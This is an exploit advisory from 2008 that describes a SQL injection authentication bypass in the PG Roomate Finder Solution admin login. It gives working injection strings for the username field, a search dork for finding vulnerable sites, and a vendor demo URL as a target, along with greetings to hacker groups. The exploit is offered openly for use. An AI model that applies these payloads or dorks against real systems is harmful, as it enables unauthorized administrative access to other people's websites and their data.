PG Roomate Finder Solution suffers a SQL injection vulnerability that allows for authentication bypass.
c3f918c06c12db4860f0b6b54595bdd1336130b24d0b0bc3e6e208721c0fbe1b
[~] PG Roomate Finder Solution Auth Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarĂ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz ( bIktIm )
[~]
[~] dork: "Powered by PG Roomate Finder Solution - roommate estate web site design" ( aha size dork :( ( )
[~] -----------------------------------------------------------
Exploit:
username: [real_admin_name] ' or ' 1=1
password: ZoRLu
note: generally admin name: admin
exploit for demo:
login: http://www.realtysoft.pro/roommate/demo/admin/index.php
username: admin ' or ' 1=1--
password: ZoRLu
[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org & darkc0de.com
[~]
[~]----------------------------------------------------------------------